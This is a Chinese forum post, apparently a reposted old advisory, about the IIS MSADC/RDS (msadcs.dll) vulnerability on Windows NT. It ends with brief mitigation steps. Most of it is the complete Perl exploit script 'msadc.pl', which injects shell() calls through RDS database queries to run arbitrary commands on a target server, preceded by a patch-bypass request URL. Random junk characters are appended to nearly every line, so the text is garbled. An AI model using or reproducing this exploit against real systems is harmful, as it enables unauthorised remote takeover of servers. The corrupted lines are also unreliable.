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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) K5VWt)Z#  
v0+BkfU+p  
涉及程序: 4qh?,^Dq  
Microsoft NT server \0I_<  
#n #}s  
描述: VUGmi]qd  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ]^'Kd*x  
l0w]`EE  
详细: m@F`!qY~Y\  
如果你没有时间读详细内容的话,就删除: |A9F\A->4  
c:\Program Files\Common Files\System\Msadc\msadcs.dll x8\?}UnB  
有关的安全问题就没有了。 y`5 9A  
fLD, 5SN  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ~i{(<.he  
>d*@_ kJM  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 v2\FA(BPn  
关于利用ODBC远程漏洞的描述,请参看: )Y0!~# `  
")5":V~fN  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm t]g-CW 3  
A_ZY=jP   
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 :$|HNeDO  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9Cp-qA%t  
)5JFfp)#  
这里不再论述。 |?xN\O^#}  
t%FwXaO#  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: G]tn i  
]t,BMu=%  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ^Za-`8#`L  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! o#gWbAG;]b  
|\t-g" ~sN  
7~ p@0)''  
#将下面这段保存为txt文件,然后: "perl -x 文件名" b<ZIWfs  
PO^ij2eS  
#!perl uEP*iPLD@  
# "ycJ:Xv49  
# MSADC/RDS 'usage' (aka exploit) script ^j7Vt2-  
# 6=/F$|  
# by rain.forest.puppy A#<?4&  
# V>LwqS~`  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me .},'~NM]  
# beta test and find errors! 7`Ak) F:V  
h0f;F@I  
use Socket; use Getopt::Std; ~?Pw& K2  
getopts("e:vd:h:XR", \%args); EwT"uL*V;  
eA?RK.e  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; fu ,}1Mq#  
, WYPU  
if (!defined $args{h} && !defined $args{R}) { $G+@_'  
print qq~ EjR9JUu  
Usage: msadc.pl -h <host> { -d <delay> -X -v } (D&3G;0tK  
-h <host> = host you want to scan (ip or domain) k FD; i  
-d <seconds> = delay between calls, default 1 second )[IC?U:5I  
-X = dump Index Server path table, if available <w9JRpFY  
-v = verbose H;LViP2K*  
-e = external dictionary file for step 5 =zPCrEk0  
7"x;~X  
Or a -R will resume a command session g%I"U>!2  
xml7Uarc  
~; exit;} |F[+k e  
KqJs?Won  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 50wulGJud  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 9>/4W.  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} #x60xz  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); =R|HV;9 h  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ]|a g  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }  A,<E\  
fOGFq1D  
if (!defined $args{R}){ $ret = &has_msadc; P>D)7 V9Hh  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Pn1^NUMZJ  
#A/  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  'KL0@l  
. "cmd /c "; v$v-2y'%  
$in=<STDIN>; chomp $in; -f^tE,-  
$command="cmd /c " . $in ; 6l x>>J!H  
eJ-xsH*8  
if (defined $args{R}) {&load; exit;} p)-^;=<B3  
o#Dk& cH  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ()?(I?II  
&try_btcustmr; `UaD6Mc<Mz  
v{N`.~,^  
print "\nStep 2: Trying to make our own DSN..."; u4?L 67x  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _< V)-Y  
^ VyKd  
print "\nStep 3: Trying known DSNs..."; AeM^73t  
&known_dsn; BwpqNQN  
7S :\"A7  
print "\nStep 4: Trying known .mdbs..."; Q"d^_z ]K  
&known_mdb; &PHTpkaam  
;xj?z\=Pg  
if (defined $args{e}){ ltSU fI  
print "\nStep 5: Trying dictionary of DSN names..."; ,w4(kcg%iQ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } $8h%a 8I  
o5PO =AN  
print "Sorry Charley...maybe next time?\n"; /Cr%{'Pzk  
exit; xLajso1g69  
o:'MpKm  
############################################################################## GL}]y -f  
ec;o\erPG  
sub sendraw { # ripped and modded from whisker I$G['` XX/  
sleep($delay); # it's a DoS on the server! At least on mine... {dlXLx!B  
my ($pstr)=@_; JPHL#sKyz  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z&\a:fJ&  
die("Socket problems\n"); J*A,o~U|  
if(connect(S,pack "SnA4x8",2,80,$target)){ | YWD8 +  
select(S); $|=1; u c)eil  
print $pstr; my @in=<S>; [|$h*YK  
select(STDOUT); close(S); LonxT&"!D  
return @in; a58H9w"u)  
} else { die("Can't connect...\n"); }} 9W5lSX#^;  
*N<]Xy @  
############################################################################## ,ZNq,$j  
V f&zL Sgr  
sub make_header { # make the HTTP request "HIRTE;&  
my $msadc=<<EOT O0v}43J [  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 PFjL1=7I  
User-Agent: ACTIVEDATA b8t7u  
Host: $ip qe#tj/aZ  
Content-Length: $clen 0[(8   
Connection: Keep-Alive ? OM!+O  
1CZgb   
ADCClientVersion:01.06 T7%S #0,p  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 6d}lw6L  
/{_:{G!Q0  
--!ADM!ROX!YOUR!WORLD! 9TC,!0U{_.  
Content-Type: application/x-varg q3!bky\  
Content-Length: $reqlen K69'6?#  
/,yd+wcW#  
EOT  mq.`X:e  
; $msadc=~s/\n/\r\n/g; C< tl/NC  
return $msadc;} dZ@63a>>@  
{JT&w6Jz  
############################################################################## f8dB-FlMm  
Zu[su>\  
sub make_req { # make the RDS request 6nvz8f3*r]  
my ($switch, $p1, $p2)=@_; b8UO,fY q  
my $req=""; my $t1, $t2, $query, $dsn; wn%A4-%{  
Lk8ek}o'  
if ($switch==1){ # this is the btcustmr.mdb query $6 f3F?y7  
$query="Select * from Customers where City=" . make_shell(); cm+Es6;  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . W ac&b  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C1)!f j=  
J ZS:MFA  
elsif ($switch==2){ # this is general make table query 1))8 A@,  
$query="create table AZZ (B int, C varchar(10))"; oG\Vxg*  
$dsn="$p1";} H1 ./x6Hr  
S=5o < 1  
elsif ($switch==3){ # this is general exploit table query lL3U8}vn  
$query="select * from AZZ where C=" . make_shell(); *g2x%aZWbG  
$dsn="$p1";} Jnov<+  
T8$y[W-c  
elsif ($switch==4){ # attempt to hork file info from index server V 5mTP'  
$query="select path from scope()"; u6JM]kR  
$dsn="Provider=MSIDXS;";} V)25$aKW7  
}Sv:`9=  
elsif ($switch==5){ # bad query Y$_B1_  
$query="select"; wc4=VC"y  
$dsn="$p1";} 0GeTS Fj  
WOap+  
$t1= make_unicode($query); GD$l| |8  
$t2= make_unicode($dsn); )y$(AJx$  
$req = "\x02\x00\x03\x00"; 46h<,na?,  
$req.= "\x08\x00" . pack ("S1", length($t1));  qX{+oy5  
$req.= "\x00\x00" . $t1 ; li.;IWb0+)  
$req.= "\x08\x00" . pack ("S1", length($t2)); " H\k`.j  
$req.= "\x00\x00" . $t2 ; U Cjld  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; kffcm/  
return $req;} ~]2K ^bh8&  
+ ePS14G  
############################################################################## kxv1Hn"`{E  
YaqJ,"GlT  
sub make_shell { # this makes the shell() statement 7kE n \  
return "'|shell(\"$command\")|'";}  \4fQMG  
.Q 2V}D85  
############################################################################## rey!{3U  
=aW9L)8D  
sub make_unicode { # quick little function to convert to unicode %.|@]!C  
my ($in)=@_; my $out; 1yhDrpm  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Dlvz )  
return $out;} s$j,9uRr  
InI$:kJ  
############################################################################## ww1[rCh\+  
:V||c5B+  
sub rdo_success { # checks for RDO return success (this is kludge) <e6#lFQqK  
my (@in) = @_; my $base=content_start(@in); OneY_<*a<  
if($in[$base]=~/multipart\/mixed/){ D&y7-/  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} K}Qa~_  
return 0;} WpvhTX  
% pCTN P  
############################################################################## S f# R0SA  
<a3 WKw  
sub make_dsn { # this makes a DSN for us "w<#^d_6  
my @drives=("c","d","e","f"); R:qW;n%AF  
print "\nMaking DSN: "; H Pz+Dm  
foreach $drive (@drives) { (E1~H0^  
print "$drive: "; dR]m8mdqc1  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . h<QY5=S F  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ]`WJOx4  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 1'8YkhQ2a  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Nh +H9  
return 0 if $2 eq "404"; # not found/doesn't exist 5z)~\;[ -  
if($2 eq "200") { }Q+|W=2t  
foreach $line (@results) { N;%6:I./  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} F#E3q|Q"BS  
} return 0;} @=u3ZVD  
JucY[`|JV  
############################################################################## Y'X%Aw;`  
HGg@ _9tW  
sub verify_exists { )4;`^]F  
my ($page)=@_; 0"z9Q\{}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,V}WM%Km  
return $results[0];} qH_Dc=~la  
K3uRs{l|  
############################################################################## u*9V&>o  
a 1*p*dM#  
sub try_btcustmr { ,a? o aPH  
my @drives=("c","d","e","f"); veECfR;  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 47/iF97  
u ^RxD^=L  
foreach $dir (@dirs) { BY*8ri^u  
print "$dir -> "; # fun status so you can see progress #g!.T g'  
foreach $drive (@drives) { 2 yz _  
print "$drive: "; # ditto _q^E,P  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; hi[pVk~B)  
$reqlenlen=length( "$reqlen" ); Flb&B1  
$clen= 206 + $reqlenlen + $reqlen; xgtR6E^k  
EoDA]6?Lj  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); -UT}/:a  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} O#r%>;3*  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;dhQN }7  
&%Tj/Qx  
############################################################################## `M6)f?|$.  
cB&:z)i4  
sub odbc_error { oP.7/*p  
my (@in)=@_; my $base; ddR>7d}N  
my $base = content_start(@in); Z3!`J&  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Ek}A]zC  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9N3eN  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tq?!-x+>  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; TL#3;l^  
return $in[$base+4].$in[$base+5].$in[$base+6];} +"VP-s0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; )`D:F>p*  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2J;g{95z  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} /Ci<xmP  
;A[Q2(w+  
############################################################################## @KAI4LP  
Kc(FX%3LU  
sub verbose { 0m ? )ROaJ  
my ($in)=@_; :BT q!>s  
return if !$verbose; #e5\j\#.  
print STDOUT "\n$in\n";} T[j,UkgGo  
@lph)A Nk  
############################################################################## k VQ\1!  
rrv%~giU  
sub save { vfo~27T{(  
my ($p1, $p2, $p3, $p4)=@_; rVsJ`+L  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Af{"pzY  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Rx}Gz$   
close OUT;} vr^qWn  
,Y48[_ymm  
############################################################################## Du){rVY^d  
Lj;2\]  
sub load { <0?W{3NqI  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; DlNX 3  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); igAtRX%Qx  
@p=<IN>; close(IN); _J[P[(ab  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); xkR0  
$target= inet_aton($ip) || die("inet_aton problems"); hR|MEn6KC  
print "Resuming to $ip ..."; >F&47Yn  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 1aABzB ^  
if($p[1]==1) { wlmRe`R  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `@s^(hc7i  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; X\ F|Tk3_  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 5/z/>D;  
if (rdo_success(@results)){print "Success!\n";} =nHgDrA_  
else { print "failed\n"; verbose(odbc_error(@results));}} gPc=2  
elsif ($p[1]==3){ t&DEb_"De  
if(run_query("$p[3]")){ Ti&z1_u  
print "Success!\n";} else { print "failed\n"; }} 8HdAFRw  
elsif ($p[1]==4){ `@|$,2[C  
if(run_query($drvst . "$p[3]")){ ^sg,\zD 'X  
print "Success!\n"; } else { print "failed\n"; }} C"enpc_C/  
exit;} W*w3 [_"sr  
>-{Hyx  
############################################################################## !0E&@X:-  
WOf 4o  
sub create_table { ]M'=^32  
my ($in)=@_; SK.: Q5:  
$reqlen=length( make_req(2,$in,"") ) - 28; pY$Q  
$reqlenlen=length( "$reqlen" ); ItTz.sQ  
$clen= 206 + $reqlenlen + $reqlen; BL58] P84  
my @results=sendraw(make_header() . make_req(2,$in,"")); RzusNS  
return 1 if rdo_success(@results); $u6 3]rypm  
my $temp= odbc_error(@results); verbose($temp); '[O;zJN;  
return 1 if $temp=~/Table 'AZZ' already exists/; ~< x:q6  
return 0;} y18Y:)DkL  
6\S~P/PkE  
############################################################################## 9]@!S|1  
P L+sR3bR  
sub known_dsn { /,Jqmm#s^  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go R_xRp&5  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", .w ,q0<}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", HE_8(Ms ;8  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Vs{|xG7W D  
v74&BL]a  
foreach $dSn (@dsns) { 0Fr?^3h  
print "."; G9@0@2aY8  
next if (!is_access("DSN=$dSn")); *k>n<p3dd  
if(create_table("DSN=$dSn")){ Q)z8PQl O  
print "$dSn successful\n"; BDZ?Ez \Sg  
if(run_query("DSN=$dSn")){ xi; `ecqS<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { RY*U"G0#w  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5i{j' {_(8  
EDs\,f}  
############################################################################## ,3 u}x,  
B4 8={  
sub is_access { ,wdD8ZT'Ip  
my ($in)=@_; hwNf~3eJk  
$reqlen=length( make_req(5,$in,"") ) - 28; h3@v+Z<}  
$reqlenlen=length( "$reqlen" ); t<?,F  
$clen= 206 + $reqlenlen + $reqlen; Y:)e(c"A  
my @results=sendraw(make_header() . make_req(5,$in,"")); B^jc3 VsR  
my $temp= odbc_error(@results); fa2kG&, _  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); S`m]f5u|  
return 0;} BJo*'US-Q  
mU9kVx1+  
############################################################################## ^L&iR0  
, SnSW-P  
sub run_query { G;XxBA  
my ($in)=@_; _2 osV[e  
$reqlen=length( make_req(3,$in,"") ) - 28; 5d!-G$ @  
$reqlenlen=length( "$reqlen" ); yJe>JK~)  
$clen= 206 + $reqlenlen + $reqlen; ZWp(GC1NA  
my @results=sendraw(make_header() . make_req(3,$in,"")); c-FcEW  
return 1 if rdo_success(@results); t.\dpBq  
my $temp= odbc_error(@results); verbose($temp); 8|58 H  
return 0;} %BB%pC  
^D-/`d  
############################################################################## }f7j 8py  
|)/aGZ+  
sub known_mdb { sds"%]r g  
my @drives=("c","d","e","f","g"); QoH6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); t#eTV@-  
my $dir, $drive, $mdb; !m?-!:  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; d9|<@A  
3|Xyl`i4o  
# this is sparse, because I don't know of many tcog'nAz  
my @sysmdbs=( "\\catroot\\icatalog.mdb", }?v )N).kW  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Z>#i**  
"\\system32\\certmdb.mdb", 2Q:+_v  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% k~FRD?[u  
_``=cc  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ^@NU}S):yN  
"\\cfusion\\cfapps\\forums\\forums_.mdb", k2UVm$}u  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", F`]2O:[  
"\\cfusion\\cfapps\\security\\realm_.mdb", x.R4% Z  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Y% 5eZ=z  
"\\cfusion\\database\\cfexamples.mdb", ZO$%[ftb  
"\\cfusion\\database\\cfsnippets.mdb", jsi!fx2Rm  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "|KP'<8%  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", w_u\sSQ`!  
"\\cfusion\\brighttiger\\database\\cleam.mdb", OJy#w{4  
"\\cfusion\\database\\smpolicy.mdb", kX2rp?{  
"\\cfusion\\database\cypress.mdb", BsYa3d=}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", YLn?.sV{[0  
"\\website\\cgi-win\\dbsample.mdb", Z0r?| G0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", i&GH/y  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 'K,:j 388  
); #these are just UU0,!?o4  
foreach $drive (@drives) { 8E]F$.6U  
foreach $dir (@dirs){ RhLVg~x  
foreach $mdb (@sysmdbs) { 3I-MdApT  
print "."; q;)JISf.  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 0v$~90)  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; K0Fh%Y4)QH  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ TT3|/zwn  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 2x0<&Xy#P  
} else { print "Something's borked. Use verbose next time\n"; }}}}} hODWB&b  
{%6`!WW[  
foreach $drive (@drives) { Ck7uJI<x  
foreach $mdb (@mdbs) { pBA7,z"`mP  
print "."; ~Vjl7G\7i  
if(create_table($drv . $drive . $dir . $mdb)){ q.`NtsW!\+  
print "\n" . $drive . $dir . $mdb . " successful\n"; k7A-J\  
if(run_query($drv . $drive . $dir . $mdb)){ 3n}?bY8@5_  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; yd`mG{Z  
} else { print "Something's borked. Use verbose next time\n"; }}}} 'u<juFr  
} y;@:ulv[  
"o}+Ciul  
############################################################################## @@ %.t|=  
QWHug:c  
sub hork_idx { 3"KCh\\b  
print "\nAttempting to dump Index Server tables...\n"; n t7.?$  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; "vE4E|  
$reqlen=length( make_req(4,"","") ) - 28; E\pL!c  
$reqlenlen=length( "$reqlen" ); )gy!GK  
$clen= 206 + $reqlenlen + $reqlen; QbpFE)TYJ|  
my @results=sendraw2(make_header() . make_req(4,"","")); D]Xsvv #  
if (rdo_success(@results)){ 5 5c|O  
my $max=@results; my $c; my %d; q;>7*Y&  
for($c=19; $c<$max; $c++){ (+y  
$results[$c]=~s/\x00//g; .z}~4BY  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; K~eh P[^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; P;]F(in=  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; `(/w y  
$d{"$1$2"}="";} AoL2@C.C%D  
foreach $c (keys %d){ print "$c\n"; } o"R7,N0rB  
} else {print "Index server doesn't seem to be installed.\n"; }} LW_ f  
MfQ?W`Kop  
############################################################################## )iK6:s #  
pOG1jI5<{8  
sub dsn_dict { 2'MZ s]??w  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Ffta](Z;  
while(<IN>){ ,>+p-M8ZL  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; M,mvys$  
next if (!is_access("DSN=$dSn")); L"Olwwmk  
if(create_table("DSN=$dSn")){ 8k1Dj1@0z  
print "$dSn successful\n"; mk+B9?;cF-  
if(run_query("DSN=$dSn")){ mZ"4&U  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `t'W2X  
print "Something's borked. Use verbose next time\n";}}} { W{]L:  
print "\n"; close(IN);}  0$fpIz  
6]%sFy2  
############################################################################## * U=s\  
pYZ6e_j1 ~  
sub sendraw2 { # ripped and modded from whisker 'o>B'$  
sleep($delay); # it's a DoS on the server! At least on mine... -"60d @.  
my ($pstr)=@_; H6 HVu |  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @eIJ]p  
die("Socket problems\n"); r/6o \-  
if(connect(S,pack "SnA4x8",2,80,$target)){ ):_\;.L  
print "Connected. Getting data"; _1!OlQ  
open(OUT,">raw.out"); my @in; HLaRGN3,  
select(S); $|=1; print $pstr; (7=!+'T"  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} RxWVe-Dg  
close(OUT); select(STDOUT); close(S); return @in; .rqhi  
} else { die("Can't connect...\n"); }} o;<Xo&  
3Xy-r=N.l  
############################################################################## en*GM}<V  
G`BU=Fi  
sub content_start { # this will take in the server headers JB]q   
my (@in)=@_; my $c; ia E^a^*  
for ($c=1;$c<500;$c++) { H{?vbqQ  
if($in[$c] =~/^\x0d\x0a/){ ktBj|-'>  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ZO$m["|  
else { return $c+1; }}} 91-o}|3v  
return -1;} # it should never get here actually I5n^,@md  
$jqq `n_  
############################################################################## UH-*(MfB  
@{tz:f  
sub funky { 8~z~_TD6m@  
my (@in)=@_; my $error=odbc_error(@in); 6){]1h"  
if($error=~/ADO could not find the specified provider/){ e-#BDN(O  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; nWYN Np?h  
exit;} E`de7  
if($error=~/A Handler is required/){ n'kG] Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; =Bhe'.]QSx  
exit;} fd<:_f]v  
if($error=~/specified Handler has denied Access/){ 'yG4 LF  
print "\nServer has custom handler filters (they most likely are patched)\n"; 64G[|" j D  
exit;}} k" PayyAC  
5T2CISmu  
############################################################################## ``\i58K{e  
+kO!Xc%P&  
sub has_msadc { (UvM@]B  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); q[W 0 N >  
my $base=content_start(@results); @ H7d_S  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); F{~{Lthc  
return 0;} ,UGRrS  
%r}{hq4  
######################## bITPQ7+  
S:oi< F  
:AF =<X*5  
解决方案: ;=; 9tX  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {rH@gz|@i  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 dq&yf7  
lG!|{z7+0  
拿出来充数 哈哈
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